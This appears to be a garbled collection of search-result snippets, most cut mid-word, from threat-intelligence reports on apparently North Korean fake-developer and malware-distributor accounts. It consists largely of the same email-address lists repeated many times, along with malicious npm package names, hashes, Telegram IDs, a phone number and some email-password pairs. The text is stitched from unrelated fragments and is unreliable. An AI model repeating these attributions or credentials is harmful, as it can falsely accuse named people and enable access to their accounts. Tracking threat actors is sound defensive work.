live…","…leonmax0623@gmail.com leonohlin0123@gmail.com leopord0407@gmail.com leostarlight610@gmail.com leowith929@gmail.com levyeugene0813@gmail.com leyr1114@gmail.com liam.pilips.hub@gmail.com lian.lua28@gmail.com ligac@getnada.com lightbulb.dev2022@gmail.com lighteye1234@gmail.com lightfury.gpsh@gmail.co…","…usdev1108@gmail.com goldendev726@gmail.com jacob.rd.dev@gmail.com jacobbush211@gmail.com johnwadelinson@gmail.com koizatsuo@gmail.com liam.perrin.dev@outlook.com luckyman012357@gmail.com luckysmile0502@gmail.com lunadev823@gmail.com lyappunov19@outlook.com magnus.masculus971114@gmail.com mascul…","…Rst jayevanslinkedin@gmail.com Jay231 kylecollins412@gmail.com p, kyle0412 leonohlin0123@gmail.com leodavinci liam.pilips.hub@gmail.com ourcountry manricvilegas@gmail.com int mastering0429@gmail.com Dragon2002, dragon2002 max.cricle@gmail.com asdasdasd…","…it. IOCs. Lian Hung: ---------------------------------------- Emails: ayusuphmhina@gmail.com lianhung21@hotmail.com lianhung21@gmail.com mano12@gmail.com liuqimi21@gmail.com alex@bellsstudio.site libfredrick@gmail.com michaeldein243@gmail.com josephdgray211@hotmail.com marogu…","…it and meaningfully disrupt it. IOCs. Lian Hung: ---------------------------------------- Emails: ayusuphmhina@gmail.com lianhung21@hotmail.com lianhung21@gmail.com mano12@gmail.com liuqimi21@gmail.com alex@bellsstudio.site libfredrick@gmail.com michaeldein243@gmail.com josephdgray2…","…leopord0407@gmail.com leostarlight610@gmail.com leowith929@gmail.com levyeugene0813@gmail.com leyr1114@gmail.com liam.pilips.hub@gmail.com lian.lua28@gmail.com ligac@getnada.com lightbulb.dev2022@gmail.com lighteye1234@gmail.com lightfury.gpsh@gmail.com lihaojie.pm@gmail.com linceu@runwuz.ga lionel…","…**/altbee:** - Old Username: liaojikunwork - 34900782+liaojikunwork@users.noreply.github.com: liaojikunwork - liaoJikundever@gmail.com: Jikun Liao - liaojikundever@gmail.com: Altbee, JL, Jikun Liao, Liao Jikun, altbee, liaojikunwork #### Jikun Liao - \"Austin Lim\" -…","…mano12@gmail.com[email protected] liuqimi21@gmail.com[email protected] alex@bellsstudio.site[email protected] libfredrick@gmail.com[email protected] michaeldein243@gmail.com[email protected] josephdgray211@hotmail.com[email protected]…","…----- Emails: ayusuphmhina@gmail.com lianhung21@hotmail.com lianhung21@gmail.com mano12@gmail.com liuqimi21@gmail.com alex@bellsstudio.site libfredrick@gmail.com michaeldein243@gmail.com josephdgray211@hotmail.com marogus211@outlook.com briandwingo55@yahoo.com silverbeach613@gmail.com wilsonliuq2111@…","…m leostarlight610@gmail.com leowith929@gmail.com levyeugene0813@gmail.com leyr1114@gmail.com liam.pilips.hub@gmail.com lian.lua28@gmail.com ligac@getnada.com lightbulb.dev2022@gmail.com lighteye1234@gmail.com lightfury.gpsh@gmail.com lihaojie.pm@gmail.com linceu@runwuz.ga lionelperrault0616@gmail…","…gmail.com leowith929@gmail.com levyeugene0813@gmail.com leyr1114@gmail.com liam.pilips.hub@gmail.com lian.lua28@gmail.com ligac@getnada.com lightbulb.dev2022@gmail.com lighteye1234@gmail.com lightfury.gpsh@gmail.com lihaojie.pm@gmail.com linceu@runwuz.ga lionelperrault0616@gmail.com lm8361616@gmail.com lo.…","…om levyeugene0813@gmail.com leyr1114@gmail.com liam.pilips.hub@gmail.com lian.lua28@gmail.com ligac@getnada.com lightbulb.dev2022@gmail.com lighteye1234@gmail.com lightfury.gpsh@gmail.com lihaojie.pm@gmail.com linceu@runwuz.ga lionelperrault0616@gmail.com lm8361616@gmail.com lo.egan918@gmail.com lodes…","….com leyr1114@gmail.com liam.pilips.hub@gmail.com lian.lua28@gmail.com ligac@getnada.com lightbulb.dev2022@gmail.com lighteye1234@gmail.com lightfury.gpsh@gmail.com lihaojie.pm@gmail.com linceu@runwuz.ga lionelperrault0616@gmail.com lm8361616@gmail.com lo.egan918@gmail.com lodestar0905@gmail.com loganpo…","…Chenyin1g992@gmail.com - elitedev619@gmail.com - jupiter.softdev@gmail.com - larastar721@gmail.com - laravguru@gmail.com - light.oa17@gmail.com - mmarjs22@gmail.com - partneremail@gmail.com - sp0t.s3@outlook.com - spot.jk7@gmail.com - mhcrocky@gmail.com -…","…insider N/A N/A Threat actor-controlled email 1 leonardo_perez@hotmail.com email insider N/A N/A Threat actor-controlled email 1 li.guangri.2020@gmail.com email insider N/A N/A Threat actor-controlled email 1 lovinmadrid@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…iam.pilips.hub@gmail.com lian.lua28@gmail.com ligac@getnada.com lightbulb.dev2022@gmail.com lighteye1234@gmail.com lightfury.gpsh@gmail.com lihaojie.pm@gmail.com linceu@runwuz.ga lionelperrault0616@gmail.com lm8361616@gmail.com lo.egan918@gmail.com lodestar0905@gmail.com loganpoter1004@gmail.com logb…","…ebcappservices@gmail.com hakajakin@outlook.com ideationbrand@gmail.com legend_dev@outlook.com liko.sonexarth@gmail.com liko.sonexarth@hotmail.com longines0924@gmail.com lujindane@outlook.com matthewhall14541@gmail.com niko.sonexarth@gmail.com niko.sonexarth@hotmail.com…","…devstar1116@gmail.com ebcappservices@gmail.com hakajakin@outlook.com ideationbrand@gmail.com legend_dev@outlook.com liko.sonexarth@gmail.com liko.sonexarth@hotmail.com longines0924@gmail.com lujindane@outlook.com matthewhall14541@gmail.com niko.sonexarth@gmail.com…","…Year in Review jbutton717@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review lilian.rodrigues.re@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review andrewtilley.us@gmail.com email malware N/A…","…landmarkhomesconsult33423@gmail.com landscapeinvestor00913@gmail.com lauradrwh@gmail.com lendingcrafters51867@gmail.com lillihousingagent83183@gmail.com lisaselingreen56157@gmail.com londonhomesmartagent36691@gmail.com londonpropertyagent33861@gmail.com…","…om lian.lua28@gmail.com ligac@getnada.com lightbulb.dev2022@gmail.com lighteye1234@gmail.com lightfury.gpsh@gmail.com lihaojie.pm@gmail.com linceu@runwuz.ga lionelperrault0616@gmail.com lm8361616@gmail.com lo.egan918@gmail.com lodestar0905@gmail.com loganpoter1004@gmail.com logbookpkl@gmail.com…","…98602aca3efb91d6f77d4f3d0283681f1a954821885259b70127a66eb34fa7e4 2026-09-16 engin1 (1.3.99) 2026-09-16 engin5 <linima1625@findize.com> api.npoint.io https://api.npoint.io/24c25d5f5fcbb0992a4f 21bfaa51988b8dc7220f58d33e570d50ce43bc6103f872fda68db1eafe7729c6…","…2026-04-03 graph first seen wakiye8356@fengnu.com tailwind-text-fill 2026-04-13 graph first seen linkjob2026@outlook.com tailwind-typography-cssstyle 2026-04-03 live registry ficara9076@algarr.com tailwindcss-fonttype-inter 2026-03-31…","…il.com ligac@getnada.com lightbulb.dev2022@gmail.com lighteye1234@gmail.com lightfury.gpsh@gmail.com lihaojie.pm@gmail.com linceu@runwuz.ga lionelperrault0616@gmail.com lm8361616@gmail.com lo.egan918@gmail.com lodestar0905@gmail.com loganpoter1004@gmail.com logbookpkl@gmail.com lojorgepez.it@gmail.com lolla…","…df-vision 2026-04-16 live registry atddevs@gmail.com dotenv-pack 2026-04-17 live registry lisa.w10@outlook.com express-auth-basic 2026-03-28 graph first seen me@lionc.de express-flowlimit 2026-04-06 live registry…","…landscapeinvestor00913@gmail.com lauradrwh@gmail.com lendingcrafters51867@gmail.com lillihousingagent83183@gmail.com lisaselingreen56157@gmail.com londonhomesmartagent36691@gmail.com londonpropertyagent33861@gmail.com londonpropertyguide27011@gmail.com…","…b01c59ae0a76527503799aab109bd701e34f260d192722a8cf12c97a4e6d208c 2026-10-02 hardhat-ftp (2.0.1) 2026-10-02 lisemarie <lise.marie.tf7@gmail.com> b01c59ae0a76527503799aab109bd701e34f260d192722a8cf12c97a4e6d208c 2026-10-02 hardhat-roof (2.21.0) 2026-10-02…","…truepai415@gmail.com truestar222@outlook.com volodimir.work2020@gmail.com zhangming_k@yahoo.com zhuming1116@gmail.com lisettekolson8@gmail.com 312011217@qq.com alhinglovena3000@gmail.com jumphon2103@gmail.com mobilephetjum@gmail.com phetchamphone1998@gmail.com…","…Year in Review kagan.hungri@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review littebaby232355@gmail.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review kenycarl92@gmail.com email malware N/A August…","…korovalerii0803@gmail.com kurnia.utama4q@hotmail.com lauren.washco@hotmail.com leahucosmin0720@gmail.com leeuna@xvism.site littebaby232355@gmail.com lucastyler195@gmail.com luis.fernando.dev1214@gmail.com luka1291@outlook.com luka1293@outlook.com malarkeyclayton5@gmail.com…","…Hung: ---------------------------------------- Emails: ayusuphmhina@gmail.com lianhung21@hotmail.com lianhung21@gmail.com mano12@gmail.com liuqimi21@gmail.com alex@bellsstudio.site libfredrick@gmail.com michaeldein243@gmail.com josephdgray211@hotmail.com marogus211@outlook.com briandwingo55@yahoo.…","…tbulb.dev2022@gmail.com lighteye1234@gmail.com lightfury.gpsh@gmail.com lihaojie.pm@gmail.com linceu@runwuz.ga lionelperrault0616@gmail.com lm8361616@gmail.com lo.egan918@gmail.com lodestar0905@gmail.com loganpoter1004@gmail.com logbookpkl@gmail.com lojorgepez.it@gmail.com lollacrista@gmail.com lol…","…l.com lightfury.gpsh@gmail.com lihaojie.pm@gmail.com linceu@runwuz.ga lionelperrault0616@gmail.com lm8361616@gmail.com lo.egan918@gmail.com lodestar0905@gmail.com loganpoter1004@gmail.com logbookpkl@gmail.com lojorgepez.it@gmail.com lollacrista@gmail.com lollanoyer@gmail.com lomwbfhs@selin.anonaddy.co…","…com lighteye1234@gmail.com lightfury.gpsh@gmail.com lihaojie.pm@gmail.com linceu@runwuz.ga lionelperrault0616@gmail.com lm8361616@gmail.com lo.egan918@gmail.com lodestar0905@gmail.com loganpoter1004@gmail.com logbookpkl@gmail.com lojorgepez.it@gmail.com lollacrista@gmail.com lollanoyer@gmail.com lom…","…/ Logan King / Logan Smith - Logan Lee - Logan King - Logan Smith - Vasyl Smirnov - Ethan Chan - Leon Zhang - Evgeny Shalimov - loganlee002@gmail.com - loganworld002@gmail.com - akp707d@gmail.com - websolution0524@gmail.com - smirnovvvasyl@gmail.com - rgrobertclark032@gmail.com -…","…loganworld (Logan Lee/King/Smith): --------------------------------------------- Current Project: Hogwarz, hogwarz.com Emails: loganlee002@gmail.com loganworld002@gmail.com akp707d@gmail.com websolution0524@gmail.com smirnovvvasyl@gmail.com rgrobertclark032@gmail.com johnwilliam199024@gm…","…ail.com lihaojie.pm@gmail.com linceu@runwuz.ga lionelperrault0616@gmail.com lm8361616@gmail.com lo.egan918@gmail.com lodestar0905@gmail.com loganpoter1004@gmail.com logbookpkl@gmail.com lojorgepez.it@gmail.com lollacrista@gmail.com lollanoyer@gmail.com lomwbfhs@selin.anonaddy.com lonelyguypiny@gmail.com…","…- Logan Lee - Logan King - Logan Smith - Vasyl Smirnov - Ethan Chan - Leon Zhang - Evgeny Shalimov - loganlee002@gmail.com - loganworld002@gmail.com - akp707d@gmail.com - websolution0524@gmail.com - smirnovvvasyl@gmail.com - rgrobertclark032@gmail.com -…","…(Logan Lee/King/Smith): --------------------------------------------- Current Project: Hogwarz, hogwarz.com Emails: loganlee002@gmail.com loganworld002@gmail.com akp707d@gmail.com websolution0524@gmail.com smirnovvvasyl@gmail.com rgrobertclark032@gmail.com johnwilliam199024@gmail.com Github: github.…","….com linceu@runwuz.ga lionelperrault0616@gmail.com lm8361616@gmail.com lo.egan918@gmail.com lodestar0905@gmail.com loganpoter1004@gmail.com logbookpkl@gmail.com lojorgepez.it@gmail.com lollacrista@gmail.com lollanoyer@gmail.com lomwbfhs@selin.anonaddy.com lonelyguypiny@gmail.com lorenzoconti0917@gma…","…lionelperrault0616@gmail.com lm8361616@gmail.com lo.egan918@gmail.com lodestar0905@gmail.com loganpoter1004@gmail.com logbookpkl@gmail.com lojorgepez.it@gmail.com lollacrista@gmail.com lollanoyer@gmail.com lomwbfhs@selin.anonaddy.com lonelyguypiny@gmail.com lorenzoconti0917@gmail.com lose.electric.70d…","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. Post eleven presents this account as a probable member rather than a confirmed one: sixty repositories, in the primary account's following list, created May 2022, following nobody. The researcher says in terms that the confirmation is weaker than for the core group, and the record carries that caveat.","…l.com lm8361616@gmail.com lo.egan918@gmail.com lodestar0905@gmail.com loganpoter1004@gmail.com logbookpkl@gmail.com lojorgepez.it@gmail.com lollacrista@gmail.com lollanoyer@gmail.com lomwbfhs@selin.anonaddy.com lonelyguypiny@gmail.com lorenzoconti0917@gmail.com lose.electric.70dc42@gizmotik.com louis…","…com lo.egan918@gmail.com lodestar0905@gmail.com loganpoter1004@gmail.com logbookpkl@gmail.com lojorgepez.it@gmail.com lollacrista@gmail.com lollanoyer@gmail.com lomwbfhs@selin.anonaddy.com lonelyguypiny@gmail.com lorenzoconti0917@gmail.com lose.electric.70dc42@gizmotik.com louisrobinson246@gmail.com…","…com lodestar0905@gmail.com loganpoter1004@gmail.com logbookpkl@gmail.com lojorgepez.it@gmail.com lollacrista@gmail.com lollanoyer@gmail.com lomwbfhs@selin.anonaddy.com lonelyguypiny@gmail.com lorenzoconti0917@gmail.com lose.electric.70dc42@gizmotik.com louisrobinson246@gmail.com lovelydevdreamer123@gmail.c…","…lauradrwh@gmail.com lendingcrafters51867@gmail.com lillihousingagent83183@gmail.com lisaselingreen56157@gmail.com londonhomesmartagent36691@gmail.com londonpropertyagent33861@gmail.com londonpropertyguide27011@gmail.com luxuryhomebroker77429@gmail.com…","…lillihousingagent83183@gmail.com lisaselingreen56157@gmail.com londonhomesmartagent36691@gmail.com londonpropertyagent33861@gmail.com londonpropertyguide27011@gmail.com luxuryhomebroker77429@gmail.com luxuryprimeagent11914@gmail.com maggiehomes68871@gmail.com…","…lisaselingreen56157@gmail.com londonhomesmartagent36691@gmail.com londonpropertyagent33861@gmail.com londonpropertyguide27011@gmail.com luxuryhomebroker77429@gmail.com luxuryprimeagent11914@gmail.com maggiehomes68871@gmail.com mariastanfordakchz04029@hotmail.com…","…oganpoter1004@gmail.com logbookpkl@gmail.com lojorgepez.it@gmail.com lollacrista@gmail.com lollanoyer@gmail.com lomwbfhs@selin.anonaddy.com lonelyguypiny@gmail.com lorenzoconti0917@gmail.com lose.electric.70dc42@gizmotik.com louisrobinson246@gmail.com lovelydevdreamer123@gmail.com lovelydeveloper829@gm…","…hakajakin@outlook.com ideationbrand@gmail.com legend_dev@outlook.com liko.sonexarth@gmail.com liko.sonexarth@hotmail.com longines0924@gmail.com lujindane@outlook.com matthewhall14541@gmail.com niko.sonexarth@gmail.com niko.sonexarth@hotmail.com…","…ohansson116@gmail.com paulmillet0803@gmail.com henryan373@gmail.com wulong.sky@gmail.com saburo.snow@gmail.com stanleyc.sky@gmail.com longx695@gmail.com dragonfighter0120@gmail.com garciav.dev@gmail.com m.in.space45@gmail.com derek.otieno.2020@gmail.com usmanjaggi1@gmail.com mr.martin.…","…Year in Review mahmodghnaj1@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review look.as.united@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review rochaevertondev@gmail.com email malware N/A…","…email insider N/A N/A Threat actor persona email 4 albertchess990919@gmail.com email insider N/A N/A Threat actor persona email 4 lorenzo.vidal@mail.ru email insider N/A N/A Threat actor persona email 4 stolic5star@gmail.com email insider N/A N/A Threat actor persona email 4…","…logbookpkl@gmail.com lojorgepez.it@gmail.com lollacrista@gmail.com lollanoyer@gmail.com lomwbfhs@selin.anonaddy.com lonelyguypiny@gmail.com lorenzoconti0917@gmail.com lose.electric.70dc42@gizmotik.com louisrobinson246@gmail.com lovelydevdreamer123@gmail.com lovelydeveloper829@gmail.com lovetom.pro@gmail.c…","…epez.it@gmail.com lollacrista@gmail.com lollanoyer@gmail.com lomwbfhs@selin.anonaddy.com lonelyguypiny@gmail.com lorenzoconti0917@gmail.com lose.electric.70dc42@gizmotik.com louisrobinson246@gmail.com lovelydevdreamer123@gmail.com lovelydeveloper829@gmail.com lovetom.pro@gmail.com loyal.dev1125@gmail.com lprfaci…","…inbox from npm user l.os.t.k.yl.e184 , who published ts-bign (benign intermediary) and levex-refa (SSH implant malware) using the email l.os.t.k.yl.e184@gmail.com , showing successive publishes. Multiple successive publishes evidenced in the Emailinator inbox The following image from GitHub search…","…l.com lollanoyer@gmail.com lomwbfhs@selin.anonaddy.com lonelyguypiny@gmail.com lorenzoconti0917@gmail.com lose.electric.70dc42@gizmotik.com louisrobinson246@gmail.com lovelydevdreamer123@gmail.com lovelydeveloper829@gmail.com lovetom.pro@gmail.com loyal.dev1125@gmail.com lprfacial247@gmail.com lucas.wong1…","…lomwbfhs@selin.anonaddy.com lonelyguypiny@gmail.com lorenzoconti0917@gmail.com lose.electric.70dc42@gizmotik.com louisrobinson246@gmail.com lovelydevdreamer123@gmail.com lovelydeveloper829@gmail.com lovetom.pro@gmail.com loyal.dev1125@gmail.com lprfacial247@gmail.com lucas.wong1216@gmail.com lucaschan95s@gma…","…![](./1923549354025234903-1.png) - ![](./1923549354025234903-2.png) #### Lovely Developer - Josue Valdivia - lovelydeveloper829@gmail.com - github.com/LovelyDev829 - https://x.com/browsercookies/status/1923539373959897397 -…","…nelyguypiny@gmail.com lorenzoconti0917@gmail.com lose.electric.70dc42@gizmotik.com louisrobinson246@gmail.com lovelydevdreamer123@gmail.com lovelydeveloper829@gmail.com lovetom.pro@gmail.com loyal.dev1125@gmail.com lprfacial247@gmail.com lucas.wong1216@gmail.com lucaschan95s@gmail.com lucky.freelancer.user6…","…in Review davidaheld.manager@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review lovelysong0209@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review moreandmore082@gmail.com email malware N/A…","…conti0917@gmail.com lose.electric.70dc42@gizmotik.com louisrobinson246@gmail.com lovelydevdreamer123@gmail.com lovelydeveloper829@gmail.com lovetom.pro@gmail.com loyal.dev1125@gmail.com lprfacial247@gmail.com lucas.wong1216@gmail.com lucaschan95s@gmail.com lucky.freelancer.user6129@gmail.com lucky.go…","…insider N/A N/A Threat actor-controlled email 1 li.guangri.2020@gmail.com email insider N/A N/A Threat actor-controlled email 1 lovinmadrid@hotmail.com email insider N/A N/A Threat actor-controlled email 1 marza0219@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…se.electric.70dc42@gizmotik.com louisrobinson246@gmail.com lovelydevdreamer123@gmail.com lovelydeveloper829@gmail.com lovetom.pro@gmail.com loyal.dev1125@gmail.com lprfacial247@gmail.com lucas.wong1216@gmail.com lucaschan95s@gmail.com lucky.freelancer.user6129@gmail.com lucky.godness.tan@gmail.com luck…","…IOCs The Sun Sets in Conakry (Guinea - DavidOrion999) Emails: --------------------------------- davidorion999@gmail.com loyalprince55555@outlook.com billoneillighttiger@gmail.com johnwoo829612@outlook.com johnwoo82921323@gmail.com johnjohnjohn829612@outlook.com johnjohnjohn829612@hotmail…","…email insider N/A N/A DPRK developer email 2 chrissamuel729@gmail.com email insider N/A N/A DPRK developer email 2 lozanvranic@gmail.com email insider N/A N/A DPRK developer email 2 qoneits@outlook.com email insider N/A N/A DPRK developer email 2 kitdb@outlook.com email…","…tik.com louisrobinson246@gmail.com lovelydevdreamer123@gmail.com lovelydeveloper829@gmail.com lovetom.pro@gmail.com loyal.dev1125@gmail.com lprfacial247@gmail.com lucas.wong1216@gmail.com lucaschan95s@gmail.com lucky.freelancer.user6129@gmail.com lucky.godness.tan@gmail.com luckybaymax9518@gmail.com l…","…Assasin 패밀리: Assasin123! → Assasin123~ → Assasom123~ → aSSASIN123~ James 패밀리: James123~ → james123~ (3개 이메일 계정 공유) 이메일 파생 패턴: lprfacial247@gmail.com → 패스워드 lprfacial247 (완전 일치) 대규모 계정을 관리해야 하는 운영자가 쉽게 기억하기 위해 선택한 이런 ‘운영 편의적 패턴’은, 역설적으로 보안 분석가가 공격 그룹을 특정하고 추적할 수 있는 결정적인 단서가 됩니다.…","…across 3 email accounts) Email Derivation Pattern: Deriving the password directly from the local part of the email address (e.g., Email: lprfacial247@gmail.com → Password: lprfacial247 ). These \"convenient passwords\", chosen by operatives managing large-scale accounts for ease of recall,…","…- 3 weeks maxwell@gmail.com Maxwell United States United States $70/hour, 40 hours/week - Kim Myong Chol luannguyen0318@gmail.com Luan Vietnam United States $25/hour, 40 hours/week 6 months nguyentcg000@gmail.com Giang Vietnam United States…","…mer123@gmail.com lovelydeveloper829@gmail.com lovetom.pro@gmail.com loyal.dev1125@gmail.com lprfacial247@gmail.com lucas.wong1216@gmail.com lucaschan95s@gmail.com lucky.freelancer.user6129@gmail.com lucky.godness.tan@gmail.com luckybaymax9518@gmail.com luckycrocodile2261@gmail.com luckycyber1129@gmail…","…https://github.com/tranguixdev https://github.com/billiedox https://github.com/deeplus2021 Email Addresses lucaschang1127@gmail.com xtinc.exp@gmail.com noahsflood908@gmail.com truepartner312@gmail.com motokimasuo89@gmail.com wongaiden812@gmail.com…","The researcher names these accounts and addresses as collaborators on repositories shared with anthon-dev, and links them to that operator rather than identifying them as it. They are recorded here without a persona so the link stays the researcher's and is not flattened into an identity.","…martynenko22@gmail.com mark.developer.2006@gmail.com kevin.tsang.coder@gmail.com henry.zhang@gmail.com viacheslay.zadorozhnyi3863@gmail.com lucasli.dream1218917@gmail.com kenjitamm@gmail.com shan.shan.eth1994@gmail.com daniellee.dev1@gmail.com markuslaandream1218917@gmail.com hasibullahnasseri986@gmail.com Ch…","…kurnia.utama4q@hotmail.com lauren.washco@hotmail.com leahucosmin0720@gmail.com leeuna@xvism.site littebaby232355@gmail.com lucastyler195@gmail.com luis.fernando.dev1214@gmail.com luka1291@outlook.com luka1293@outlook.com malarkeyclayton5@gmail.com marcsanford22@gmail.com…","…t.me/cox1118 (ID: 5034927805) • ([Messages](./user-5034927805-@cox1118-Lucas-Wong.txt)) - lucas.wong.1118@gmail.com - wm111898@gmail.com - Discord: c__x__ - lucasw.net - 0xee52717e6dA13499a3C4ba803e4D952CF052704E -…","…6@gmail.com lovelydevdreamer123@gmail.com lovelydeveloper829@gmail.com lovetom.pro@gmail.com loyal.dev1125@gmail.com lprfacial247@gmail.com lucas.wong1216@gmail.com lucaschan95s@gmail.com lucky.freelancer.user6129@gmail.com lucky.godness.tan@gmail.com luckybaymax9518@gmail.com luckycrocodile2261@gmail.c…","…A822B 142.111.77.196/manage/manage.asp?id=745681 142.111.77.196/user/user.asp?id=518437 europe-west2-workload-422915.cloudfunctions.net lucid.zeniths.0j@icloud.com Follow us on Twitter , Telegram , Facebook , WhatsApp and LinkedIn for Latest Cyber Security News and Updates. Share this:…","….com lprfacial247@gmail.com lucas.wong1216@gmail.com lucaschan95s@gmail.com lucky.freelancer.user6129@gmail.com lucky.godness.tan@gmail.com luckybaymax9518@gmail.com luckycrocodile2261@gmail.com luckycyber1129@gmail.com luckydev2350@gmail.com luckydeveloper1113@gmail.com luckyman3458@gmail.com luis.padbe…","…m lucas.wong1216@gmail.com lucaschan95s@gmail.com lucky.freelancer.user6129@gmail.com lucky.godness.tan@gmail.com luckybaymax9518@gmail.com luckycrocodile2261@gmail.com luckycyber1129@gmail.com luckydev2350@gmail.com luckydeveloper1113@gmail.com luckyman3458@gmail.com luis.padberg.702@gmail.com luishernan12…","…caschan95s@gmail.com lucky.freelancer.user6129@gmail.com lucky.godness.tan@gmail.com luckybaymax9518@gmail.com luckycrocodile2261@gmail.com luckycyber1129@gmail.com luckydev2350@gmail.com luckydeveloper1113@gmail.com luckyman3458@gmail.com luis.padberg.702@gmail.com luishernan1228@gmail.com luislee3108@…","…email insider N/A N/A Threat actor persona email 4 gabrygreg1@gmail.com email insider N/A N/A Threat actor persona email 4 luckydev2289@gmail.com email insider N/A N/A Threat actor persona email 4 forfuture21@gmail.com email insider N/A N/A Threat actor persona email 4…","…y.freelancer.user6129@gmail.com lucky.godness.tan@gmail.com luckybaymax9518@gmail.com luckycrocodile2261@gmail.com luckycyber1129@gmail.com luckydev2350@gmail.com luckydeveloper1113@gmail.com luckyman3458@gmail.com luis.padberg.702@gmail.com luishernan1228@gmail.com luislee3108@gmail.com lukaskelley41…","…mail.com lucky.godness.tan@gmail.com luckybaymax9518@gmail.com luckycrocodile2261@gmail.com luckycyber1129@gmail.com luckydev2350@gmail.com luckydeveloper1113@gmail.com luckyman3458@gmail.com luis.padberg.702@gmail.com luishernan1228@gmail.com luislee3108@gmail.com lukaskelley412@gmail.com m.pulliam.0618@gm…","…developer829@gmail.com lovetom.pro@gmail.com loyal.dev1125@gmail.com lprfacial247@gmail.com lucas.wong1216@gmail.com lucaschan95s@gmail.com lucky.freelancer.user6129@gmail.com lucky.godness.tan@gmail.com luckybaymax9518@gmail.com luckycrocodile2261@gmail.com luckycyber1129@gmail.com luckydev2350@gmail.com luckydev…","…TalentKingDev - codewarrier3000 - codewarrier3000@gmail.com - github.com/TalentKingDev - linkedin.com/in/jvmontero-35/ - lucky.godness.tan@gmail.com - t.me/expertvetted7 (ID: 7030416097) • [Messages](./user-7030416097-@expertvetted7-codewarrier3000.txt) - +380 97 432 9217 -…","…mail.com loyal.dev1125@gmail.com lprfacial247@gmail.com lucas.wong1216@gmail.com lucaschan95s@gmail.com lucky.freelancer.user6129@gmail.com lucky.godness.tan@gmail.com luckybaymax9518@gmail.com luckycrocodile2261@gmail.com luckycyber1129@gmail.com luckydev2350@gmail.com luckydeveloper1113@gmail.com luckyma…","…v726@gmail.com jacob.rd.dev@gmail.com jacobbush211@gmail.com johnwadelinson@gmail.com koizatsuo@gmail.com liam.perrin.dev@outlook.com luckyman012357@gmail.com luckysmile0502@gmail.com lunadev823@gmail.com lyappunov19@outlook.com magnus.masculus971114@gmail.com masculus1114@gmail.com mateomuh…","…ail.com luckybaymax9518@gmail.com luckycrocodile2261@gmail.com luckycyber1129@gmail.com luckydev2350@gmail.com luckydeveloper1113@gmail.com luckyman3458@gmail.com luis.padberg.702@gmail.com luishernan1228@gmail.com luislee3108@gmail.com lukaskelley412@gmail.com m.pulliam.0618@gmail.com magic.title.6e4…","…ev@gmail.com jacobbush211@gmail.com johnwadelinson@gmail.com koizatsuo@gmail.com liam.perrin.dev@outlook.com luckyman012357@gmail.com luckysmile0502@gmail.com lunadev823@gmail.com lyappunov19@outlook.com magnus.masculus971114@gmail.com masculus1114@gmail.com mateomuhannad@gmail.com maxwellre…","…email insider N/A N/A Git mirror developer identity 2 vijanakaush@gmail.com email insider N/A N/A Git mirror developer identity 2 luis.miguel208@outlook.com email insider N/A N/A Git mirror developer identity 2 smupyknight@outlook.com email insider N/A N/A Git mirror developer identity 2…","…goldenrhynodev@gmail.com , luis.fernando.dev1214@gmail.com , sean_tech208@hotmail.com , stromdev712418@gmail.com , ryon_dev_3@outlook.com ; and (3) crypto/Web3 flavor, e.g.…","…il.com purplestrawberrymilk@gmail.com yellowstrawberrymilk@gmail.com bluestrawberrymilk1025@gmail.com pinkstrawberrymilk1025@gmail.com luis.gamez1004@gmail.com cliff.luo226@gmail.com semochkomaksym@gmail.com sun.james1025@gmail.com coolguy.arber09@gmail.com arber.berisha995@gmail.com arber.be…","…61@gmail.com luckycyber1129@gmail.com luckydev2350@gmail.com luckydeveloper1113@gmail.com luckyman3458@gmail.com luis.padberg.702@gmail.com luishernan1228@gmail.com luislee3108@gmail.com lukaskelley412@gmail.com m.pulliam.0618@gmail.com magic.title.6e4178@gizmotik.com main.dragon0201@gmail.com majkosajb…","…29@gmail.com luckydev2350@gmail.com luckydeveloper1113@gmail.com luckyman3458@gmail.com luis.padberg.702@gmail.com luishernan1228@gmail.com luislee3108@gmail.com lukaskelley412@gmail.com m.pulliam.0618@gmail.com magic.title.6e4178@gizmotik.com main.dragon0201@gmail.com majkosajben@gmail.com makehaste…","…email insider N/A N/A Threat actor persona email 4 bryanjsmiranda@gmail.com email insider N/A N/A Threat actor persona email 4 luislee.software@gmail.com email insider N/A N/A Threat actor persona email 4 panda95718@gmail.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Threat actor persona email 4 yuriassasin0603@gmail.com email insider N/A N/A Threat actor persona email 4 luis.lee.tech@gmail.com email insider N/A N/A Threat actor persona email 4 bryanjsmiranda@gmail.com email insider N/A N/A Threat actor persona email 4…","…@gmail.com luckycrocodile2261@gmail.com luckycyber1129@gmail.com luckydev2350@gmail.com luckydeveloper1113@gmail.com luckyman3458@gmail.com luis.padberg.702@gmail.com luishernan1228@gmail.com luislee3108@gmail.com lukaskelley412@gmail.com m.pulliam.0618@gmail.com magic.title.6e4178@gizmotik.com main.drago…","…in Review lazar.master.0204@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review lujancamryn405@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review harryjason19880502@gmail.com email malware…","…ideationbrand@gmail.com legend_dev@outlook.com liko.sonexarth@gmail.com liko.sonexarth@hotmail.com longines0924@gmail.com lujindane@outlook.com matthewhall14541@gmail.com niko.sonexarth@gmail.com niko.sonexarth@hotmail.com oscar.vetres127@europe.com…","…leeuna@xvism.site littebaby232355@gmail.com lucastyler195@gmail.com luis.fernando.dev1214@gmail.com luka1291@outlook.com luka1293@outlook.com malarkeyclayton5@gmail.com marcsanford22@gmail.com marinella@basemindway.com matiushkodenys@gmail.com…","…350@gmail.com luckydeveloper1113@gmail.com luckyman3458@gmail.com luis.padberg.702@gmail.com 